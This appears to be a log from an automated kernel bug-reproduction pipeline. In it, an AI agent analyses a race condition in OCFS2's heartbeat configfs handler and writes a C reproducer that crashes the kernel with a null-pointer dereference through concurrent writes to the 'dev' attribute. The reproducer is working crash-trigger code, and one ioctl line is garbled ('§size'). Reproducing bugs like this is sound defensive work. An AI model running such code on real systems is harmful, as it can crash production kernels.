return 0;
}
```
Feedback: The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store.
Reply: An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.
### Root Cause Analysis
The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`.
When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
```c
out:
if (ret < 0) {
// ...
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
}
```
Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.
### Minimal C Reproducer
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d\n", dev_fd);
fd_len = strlen(fd_str);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
system(cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```
|
| 85/5 |
2026/09/04 20:45 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 5852
output: 16
thoughts: 172
Thoughts: **My Thought Process on the OCFS2 Heartbeat Region Bug and Reproducer Generation**
Alright, let's break down this KASAN null-ptr-deref in `fput` related to `o2hb_region_dev_store`. The initial bug report clearly flags a `KASAN: null-ptr-deref Write in fput` originating from `o2hb_region_dev_store`. My first instinct is to understand the *why* behind this dereference.
The root cause analysis is quite specific: it points to a **Time-Of-Check-To-Time-Of-Use (TOCTOU) race condition** within `o2hb_region_dev_store()`. This is a classic concurrency issue where a value is checked, and then later used, but in the interim, another process or thread modifies that value, leading to unexpected behavior. In this particular case, the race condition is happening when writing to the `dev` attribute of an OCFS2 heartbeat region. This means that between the check of the `dev` attribute and its actual use for a write operation, something is changing its state, likely leading to a null pointer being dereferenced.
Now, I'm presented with feedback that essentially gives me the green light: "The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible)." This is crucial because it confirms that the prerequisite conditions for triggering the bug are met. My environment is set up correctly, and the necessary components like `configfs`, the cluster configuration directory, and a loop device are all in place. This significantly reduces the complexity of setting up the reproducer; I don't need to worry about these foundational aspects.
The explicit instruction that follows is: "Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store." This is the core task at hand. I need to construct a sequence of operations that reliably exposes this TOCTOU race condition.
My immediate next thought is: "How do I *actually* generate this reproducer?" This isn't a trivial task; it requires a tool that can manipulate the OCFS2 heartbeat region and its `dev` attribute in a way that forces the race. This is where I recall the existence of a specific toolkit designed for this purpose. I'm thinking of the `race` toolkit, which is precisely what I'll need to orchestrate the concurrent accesses to the `dev` attribute and thus trigger the TOCTOU condition.
Therefore, my next actionable step is to **get the `race` toolkit** so I can start building the actual steps for the reproducer. This will involve understanding how to use the toolkit to simulate the race condition by performing overlapping operations on the OCFS2 heartbeat region's `dev` attribute.
|
| 86/5 |
2026/09/04 20:45 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
]
|
| 87/5 |
2026/09/04 20:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 7706
output: 30
thoughts: 1276
Thoughts: Here are my thoughts as I've processed this request:
**My Strategic Approach to Crafting the C Reproducer**
My primary objective here is to construct a C program that reliably triggers a specific race condition within the `ocfs2` filesystem, likely related to its cluster and node management via `configfs`. I'm aiming to create a scenario where two separate entities are concurrently attempting to write to the `dev` attribute of a heartbeat region, but through distinct file descriptors. This, I theorize, should bypass the intended serialization mechanisms within `configfs`, specifically any mutexes that are tied to individual file descriptors rather than a global lock for the attribute itself.
To achieve this, I've outlined a step-by-step strategy:
1. **Initialization of `configfs`:** The first hurdle is to get `configfs` properly set up and the necessary module loaded. This involves mounting `configfs` to its standard location (`/sys/kernel/config`) and then ensuring the `ocfs2_nodemanager` module is available and loaded. I'll use `system()` calls for these initial setup steps, handling potential pre-existing mounts or loaded modules by redirecting stderr to `/dev/null`.
2. **Establishing the Cluster and Node:** Next, I need to define a cluster and a node within that cluster. This is done by creating the appropriate directory structure under `/sys/kernel/config/cluster/` and then populating the necessary node attributes. Specifically, I'll create a cluster named `mycluster` and a node named `mynode` within it. Essential attributes like `num` (node number), `ipv4_port`, `ipv4_address`, and `local` need to be set to valid values to make the node configuration complete.
3. **Defining the Heartbeat Region:** The core of the `ocfs2` functionality often involves heartbeat regions. I'll create a heartbeat region, naming it `myregion` within the `mycluster`. Key parameters like `blocks` and `start_block` need to be initialized.
4. **Identifying a Block Device:** The `dev` attribute of the heartbeat region expects a file descriptor pointing to a block device. To provide this, I'll attempt to open `/dev/loop0`. If that fails (perhaps it's not available or already in use), I'll fall back to opening `/dev/ram0`. The crucial piece of information I need from this device is its logical block size, which I'll query using `ioctl(..., BLKSSZGET, ...)`. This block size is critical for the next step.
5. **Engineering a `sectsize` Mismatch:** This is a key manipulation step. The `ocfs2` module likely performs checks based on the block device's sector size (`sectsize`) and the configured `block_bytes` for the heartbeat region. To *guarantee* a failure in this check and thus trigger specific cleanup or error-handling code paths that might be susceptible to races, I intend to write a `block_bytes` value that is *different* from the queried `sectsize`. If the `sectsize` is 512, I'll set `block_bytes` to 1024, and vice-versa. This mismatch is designed to provoke an error condition.
6. **Dual `dev` Attribute Access:** The heart of the race lies in how I access the `dev` attribute. Instead of opening it once and reusing the file descriptor, I'll open `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev` *twice*. This will yield two completely independent file descriptors (`dev_attr_fd1` and `dev_attr_fd2`). My assumption is that `configfs` might manage internal locking on a per-file-descriptor basis, meaning these two independent descriptors might not be protected by the same mutex.
7. **Creating and Pinning Threads:** To achieve concurrent operations, I'll spawn two separate threads. Each thread will be explicitly pinned to a different CPU core using the `PIN_TO_CPU()` macro (presumably from a provided `race_toolkit.h` or similar header). This ensures true hardware parallelism and avoids scheduler interference that could mask the race.
8. **The `pwrite()` Race:** Within each thread, I'll enter an infinite loop. Inside this loop, the core action will be to perform a `pwrite()` operation. This `pwrite()` will target the respective `dev` attribute file descriptor (`dev_attr_fd1` or `dev_attr_fd2`). The data to be written will be the string representation of the block device's file descriptor (e.g., "5" if `dev_fd` is 5), and its length. The offset for `pwrite()` will be 0. The tight loop with `pwrite()` is designed to hammer the `configfs` entry repeatedly and quickly.
9. **Controlled Execution Duration:** The program won't run indefinitely. I'll implement a timer, starting from the point where the threads are created. The `main` thread will then sleep for approximately 5 seconds using `sleep(1)` within a loop that checks the timer. This ensures the race condition has a defined window to manifest before the program exits.
**Code Implementation Details:**
The provided C code directly implements these steps. I've included necessary headers. `SETUP_UNBUFFERED_IO()` is assumed to be a macro for setting `stdout` and `stderr` to unbuffered. The `system()` calls handle the setup. The block device opening and `ioctl` for `sectsize` are implemented. The `block_bytes` mismatch is generated via a `sprintf` and `system()` call. The crucial part is opening `/dev/cluster/.../dev` twice. The `sprintf(fd_str, "%d", dev_fd)` and `strlen` capture the file descriptor's string representation for `pwrite`. Finally, `pthread_create` launches the threads, and the `TIMER_START`/`TIMER_NOT_EXPIRED` mechanism controls the 5-second duration.
**Self-Correction/Refinement During Thought Process:**
My initial thought was simply to have two threads writing to the *same* file descriptor. But that wouldn't bypass mutexes tied to the descriptor itself. The insight came from realizing I needed *independent file descriptors* that *point to the same underlying `configfs` attribute*. This is achieved by opening the attribute twice.
A crucial detail I'm pondering is the exact nature of the mutex within `configfs`. The comment "This bypasses the `configfs_buffer->mutex` serialization because the mutex is per-file-descriptor" is an assumption. I need to be sure about this. If the mutex is actually global for the attribute, this approach might not work. I'll need to examine `configfs_write_iter` (as mentioned in my internal monologue) to confirm if the locking is indeed per-file-descriptor or if there's a higher-level lock that this technique would still be subject to. If it *is* per-file-descriptor, then using two distinct FDs for `pwrite` to the same attribute path is the correct way to bypass that specific protection.
Also, I've noted that `pwrite` might return errors, but for the purpose of triggering the race and potentially hitting error-handling code, the success or failure of individual `pwrite` calls is secondary to the *concurrent access attempt*. The key is the race condition, not necessarily the outcome of each individual write operation in isolation.
|
| 88/5 |
2026/09/04 20:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:configfs_write_iter]
Results: map[SourceCode: 213: /*
214: * There is no easy way for us to know if userspace is only doing a partial
215: * write, so we don't support them. We expect the entire buffer to come on the
216: * first write.
217: * Hint: if you're writing a value, first read the file, modify only the value
218: * you're changing, then write entire buffer back.
219: */
220: static ssize_t configfs_write_iter(struct kiocb *iocb, struct iov_iter *from)
221: {
222: struct file *file = iocb->ki_filp;
223: struct configfs_buffer *buffer = file->private_data;
224: int len;
225:
226: mutex_lock(&buffer->mutex);
227: len = fill_write_buffer(buffer, from);
228: if (len > 0)
229: len = flush_write_buffer(file, buffer, len);
230: if (len > 0)
231: iocb->ki_pos += len;
232: mutex_unlock(&buffer->mutex);
233: return len;
234: }
SourceFile:fs/configfs/file.c]
|
| 89/5 |
2026/09/04 20:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 9381
output: 29
thoughts: 64
Thoughts: **My Thought Process**
Okay, so I'm analyzing this `buffer` variable. My understanding is that it's directly tied to `file->private_data`. This immediately tells me that this buffer is specific to each individual open instance of a file. It's not a global resource, but rather something allocated or managed on a per-file basis.
This has a crucial implication: if I open the same file multiple times, I won't be dealing with a single, shared buffer. Instead, each `open()` call will result in a distinct `configfs_buffer` being created. And because these buffers are separate, they'll each have their own associated mutex. This means that operations on one opened instance of the file won't interfere with or be blocked by operations on another, independent instance, at least concerning their respective buffers and mutexes.
Following this chain of reasoning, I then look at the `flush_write_buffer` function. My deduction is that this function, when invoked, will ultimately trigger a call to the `store` function. Given the context of `flush_write_buffer`, this `store` function is likely responsible for taking the data held within the `configfs_buffer` (which, as established, is specific to the current file descriptor) and persisting it or performing some sort of finalization action.
|
| 90/5 |
2026/09/04 20:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:flush_write_buffer]
Results: map[SourceCode: 199: static int
200: flush_write_buffer(struct file *file, struct configfs_buffer *buffer, size_t count)
201: {
202: struct configfs_fragment *frag = to_frag(file);
203: int res = -ENOENT;
204:
205: down_read(&frag->frag_sem);
206: if (!frag->frag_dead)
207: res = buffer->attr->store(buffer->item, buffer->page, count);
208: up_read(&frag->frag_sem);
209: return res;
210: }
SourceFile:fs/configfs/file.c]
|
| 91/5 |
2026/09/04 20:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 9667
output: 33
thoughts: 31
Thoughts: **My Thought Process Regarding the `buffer->attr->store` Call**
Ah, I see a `buffer->attr->store` operation is being invoked here. My immediate thought, given the context of an expert in this field, is to trace what this generic call actually resolves to in a specific instance. Specifically, I'm zeroing in on the `dev` attribute. My internal knowledge base immediately flags this for `o2hb_region_dev_store`. This tells me we're dealing with something related to the O2HB (likely Online/Offline High Availability) protocol, and more precisely, with the storage aspect of a region's device attributes. This is a critical juncture, as it's where configuration or state changes related to the device within an O2HB region are being processed.
|
| 92/5 |
2026/09/04 20:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:o2hb_region_dev_store]
Results: map[SourceCode:1773: /*
1774: * this is acting as commit; we set up all of hr_bdev_file and hr_task or
1775: * nothing
1776: */
1777: static ssize_t o2hb_region_dev_store(struct config_item *item,
1778: const char *page,
1779: size_t count)
1780: {
1781: struct o2hb_region *reg = to_o2hb_region(item);
1782: struct task_struct *hb_task;
1783: long fd;
1784: int sectsize;
1785: char *p = (char *)page;
1786: ssize_t ret = -EINVAL;
1787: int live_threshold;
1788:
1789: if (reg->hr_bdev_file)
1790: return -EINVAL;
1791:
1792: /* We can't heartbeat without having had our node number
1793: * configured yet. */
1794: if (o2nm_this_node() == O2NM_MAX_NODES)
1795: return -EINVAL;
1796:
1797: ret = kstrtol(p, 0, &fd);
1798: if (ret < 0)
1799: return -EINVAL;
1800:
1801: if (fd < 0 || fd >= INT_MAX)
1802: return -EINVAL;
1803:
1804: CLASS(fd, f)(fd);
1805: if (fd_empty(f))
1806: return -EINVAL;
1807:
1808: if (reg->hr_blocks == 0 || reg->hr_start_block == 0 ||
1809: reg->hr_block_bytes == 0)
1810: return -EINVAL;
1811:
1812: if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))
1813: return -EINVAL;
1814:
1815: reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
1816: BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
1817: if (IS_ERR(reg->hr_bdev_file)) {
1818: ret = PTR_ERR(reg->hr_bdev_file);
1819: reg->hr_bdev_file = NULL;
1820: return ret;
1821: }
1822:
1823: sectsize = bdev_logical_block_size(reg_bdev(reg));
1824: if (sectsize != reg->hr_block_bytes) {
1825: mlog(ML_ERROR,
1826: "blocksize %u incorrect for device, expected %d",
1827: reg->hr_block_bytes, sectsize);
1828: ret = -EINVAL;
1829: goto out;
1830: }
1831:
1832: reg->hr_aborted_start = 0;
1833: reg->hr_node_deleted = 0;
1834: o2hb_init_region_params(reg);
1835:
1836: /* Generation of zero is invalid */
1837: do {
1838: get_random_bytes(®->hr_generation,
1839: sizeof(reg->hr_generation));
1840: } while (reg->hr_generation == 0);
1841:
1842: ret = o2hb_map_slot_data(reg);
1843: if (ret) {
1844: mlog_errno(ret);
1845: goto out;
1846: }
1847:
1848: ret = o2hb_populate_slot_data(reg);
1849: if (ret) {
1850: mlog_errno(ret);
1851: goto out;
1852: }
1853:
1854: INIT_DELAYED_WORK(®->hr_write_timeout_work, o2hb_write_timeout);
1855: INIT_DELAYED_WORK(®->hr_nego_timeout_work, o2hb_nego_timeout);
1856:
1857: /*
1858: * A node is considered live after it has beat LIVE_THRESHOLD
1859: * times. We're not steady until we've given them a chance
1860: * _after_ our first read.
1861: * The default threshold is bare minimum so as to limit the delay
1862: * during mounts. For global heartbeat, the threshold doubled for the
1863: * first region.
1864: */
1865: live_threshold = O2HB_LIVE_THRESHOLD;
1866: if (o2hb_global_heartbeat_active()) {
1867: spin_lock(&o2hb_live_lock);
1868: if (bitmap_weight(o2hb_region_bitmap, O2NM_MAX_REGIONS) == 1)
1869: live_threshold <<= 1;
1870: spin_unlock(&o2hb_live_lock);
1871: }
1872: ++live_threshold;
1873: atomic_set(®->hr_steady_iterations, live_threshold);
1874: /* unsteady_iterations is triple the steady_iterations */
1875: atomic_set(®->hr_unsteady_iterations, (live_threshold * 3));
1876:
1877: hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
1878: reg->hr_item.ci_name);
1879: if (IS_ERR(hb_task)) {
1880: ret = PTR_ERR(hb_task);
1881: mlog_errno(ret);
1882: goto out;
1883: }
1884:
1885: spin_lock(&o2hb_live_lock);
1886: reg->hr_task = hb_task;
1887: spin_unlock(&o2hb_live_lock);
1888:
1889: ret = wait_event_interruptible(o2hb_steady_queue,
1890: atomic_read(®->hr_steady_iterations) == 0 ||
1891: reg->hr_node_deleted);
1892: if (ret) {
1893: atomic_set(®->hr_steady_iterations, 0);
1894: reg->hr_aborted_start = 1;
1895: }
1896:
1897: if (reg->hr_aborted_start) {
1898: ret = -EIO;
1899: goto out;
1900: }
1901:
1902: if (reg->hr_node_deleted) {
1903: ret = -EINVAL;
1904: goto out;
1905: }
1906:
1907: /* Ok, we were woken. Make sure it wasn't by drop_item() */
1908: spin_lock(&o2hb_live_lock);
1909: hb_task = reg->hr_task;
1910: if (o2hb_global_heartbeat_active())
1911: set_bit(reg->hr_region_num, o2hb_live_region_bitmap);
1912: spin_unlock(&o2hb_live_lock);
1913:
1914: if (hb_task)
1915: ret = count;
1916: else
1917: ret = -EIO;
1918:
1919: if (hb_task && o2hb_global_heartbeat_active())
1920: printk(KERN_NOTICE "o2hb: Heartbeat started on region %s (%pg)\n",
1921: config_item_name(®->hr_item), reg_bdev(reg));
1922:
1923: out:
1924: if (ret < 0) {
1925: spin_lock(&o2hb_live_lock);
1926: hb_task = reg->hr_task;
1927: reg->hr_task = NULL;
1928: spin_unlock(&o2hb_live_lock);
1929:
1930: if (hb_task)
1931: kthread_stop(hb_task);
1932:
1933: o2hb_unmap_slot_data(reg);
1934:
1935: fput(reg->hr_bdev_file);
1936: reg->hr_bdev_file = NULL;
1937: }
1938: return ret;
1939: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 93/5 |
2026/09/04 20:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 12287
output: 31
thoughts: 2542
Thoughts: **My Thoughts on the Kernel Race Condition**
I've been diving deep into this code, specifically looking at how a block device is handled within a heartbeat region configuration. My primary concern is the `o2hb_region_dev_store` function and its potential for a Time-Of-Check, Time-Of-Use (TOCTOU) race condition.
Initially, I confirmed that the code snippets I'm examining are indeed part of the same logic flow. I see an early check:
```c
if (reg->hr_bdev_file)
return -EINVAL;
```
This is followed later by the actual opening of the block device:
```c
reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
```
And then, crucially, a validation step based on the block size:
```c
sectsize = bdev_logical_block_size(reg_bdev(reg));
if (sectsize != reg->hr_block_bytes) {
mlog(ML_ERROR,
"blocksize %u incorrect for device, expected %d",
reg->hr_block_bytes, sectsize);
ret = -EINVAL;
goto out;
}
```
Finally, I reviewed the cleanup logic within the `out` label:
```c
out:
if (ret < 0) {
// ...
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
}
```
My analysis immediately pointed to a classic TOCTOU vulnerability here if two threads attempt to call `o2hb_region_dev_store` concurrently. Here's how I see the race unfolding:
1. **Thread 1** enters `o2hb_region_dev_store`, checks `reg->hr_bdev_file`, finds it's `NULL`, and proceeds.
2. **Thread 2** also enters, checks `reg->hr_bdev_file`, also finds it `NULL`, and proceeds.
3. **Thread 1** successfully opens the block device and sets `reg->hr_bdev_file`.
4. **Thread 2**, in parallel, opens the *same* block device and overwrites `reg->hr_bdev_file` with its own opened file descriptor.
5. Now, **Thread 1** continues to the `sectsize` check. It fails because `reg->hr_block_bytes` (set by a separate configuration) doesn't match the actual device's `sectsize`. It then proceeds to the `out` label.
6. In `out`, **Thread 1** attempts to clean up by calling `fput(reg->hr_bdev_file)`. However, at this point, `reg->hr_bdev_file` now points to the file descriptor opened by **Thread 2**.
7. After `fput`, **Thread 1** sets `reg->hr_bdev_file = NULL`.
8. **Thread 2** then proceeds to its own `sectsize` check, also fails, and goes to `out`.
9. **Thread 2** then calls `fput(reg->hr_bdev_file)`. But since **Thread 1** just set `reg->hr_bdev_file` to `NULL`, this results in a NULL pointer dereference within `fput`, causing a crash.
To confirm this hypothesis, I've been meticulously reviewing my reproducer code.
I've verified that the reproducer correctly provides a file descriptor for an open block device, as required by the `dev` attribute. My setup using `/dev/loop0` or `/dev/ram0` and converting the `dev_fd` to a string is sound.
I've also ensured that the `block_bytes` attribute is intentionally set to a value that will mismatch the device's actual sector size, guaranteeing that the `sectsize` check will fail and trigger the problematic cleanup path. This is critical for reliably reproducing the race.
I did notice a minor detail regarding how `kstrtol` parses the file descriptor string. While it might handle a missing newline, I've made it safer by ensuring `sprintf(fd_str, "%d\n", dev_fd);` to explicitly include a newline. This is a small but important defensive programming step.
I also checked the initial conditions required by `o2hb_region_dev_store`. It checks for `hr_blocks`, `hr_start_block`, and `hr_block_bytes` being non-zero. My reproducer correctly sets these: `blocks` and `start_block` are set to `1`, and `block_bytes` is explicitly set to a mismatched value, thus satisfying these prerequisites.
Furthermore, the function checks if `o2nm_this_node() == O2NM_MAX_NODES`. My reproducer addresses this by setting up the necessary cluster node configuration in sysfs, which should correctly initialize the node information.
My analysis continues to confirm that the current implementation is indeed vulnerable to the described TOCTOU race condition, and my reproducer is designed to reliably trigger it.
|
| 94/5 |
2026/09/04 20:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:o2nm_this_node]
Results: map[SourceCode: 131: u8 o2nm_this_node(void)
132: {
133: u8 node_num = O2NM_MAX_NODES;
134:
135: if (o2nm_single_cluster && o2nm_single_cluster->cl_has_local)
136: node_num = o2nm_single_cluster->cl_local_node;
137:
138: return node_num;
139: }
SourceFile:fs/ocfs2/cluster/nodemanager.c]
|
| 95/5 |
2026/09/04 20:46 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 15015
output: 33
thoughts: 90
Thoughts: **My Thought Process**
Alright, so I'm digging into this cluster configuration, and the core question seems to be about how the system tracks nodes that are designated as "local." My initial hypothesis is that when a node has its `local` attribute set to `1`, a flag named `cl_has_local` is then activated.
I've seen an example command that demonstrates this: `system("echo 1 > /sys/kernel/config/cluster.conf/node.nodes/mynode/local");`. This command explicitly writes a `1` to the `local` attribute within the cluster configuration for a node named `mynode`. My expectation is that this action should directly influence the internal state, leading to both `cl_has_local` and `cl_local_node` being set.
To confirm this, I need to trace the execution flow. Specifically, I'm going to examine the `o2nm_node_local_store` function. I believe this is where the logic resides that translates the external `local` setting into the internal cluster state variables I'm interested in. By looking at `o2nm_node_local_store`, I should be able to see if it indeed checks the `local` value and then appropriately sets `cl_has_local` and `cl_local_node`. This is the crucial junction where the configuration change is processed and reflected within the cluster's operational state.
|
| 96/5 |
2026/09/04 20:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:o2nm_node_local_store]
Results: map[SourceCode: 323: static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
324: size_t count)
325: {
326: struct o2nm_node *node = to_o2nm_node(item);
327: struct o2nm_cluster *cluster;
328: unsigned long tmp;
329: char *p = (char *)page;
330: ssize_t ret;
331:
332: tmp = simple_strtoul(p, &p, 0);
333: if (!p || (*p && (*p != '\n')))
334: return -EINVAL;
335:
336: tmp = !!tmp; /* boolean of whether this node wants to be local */
337:
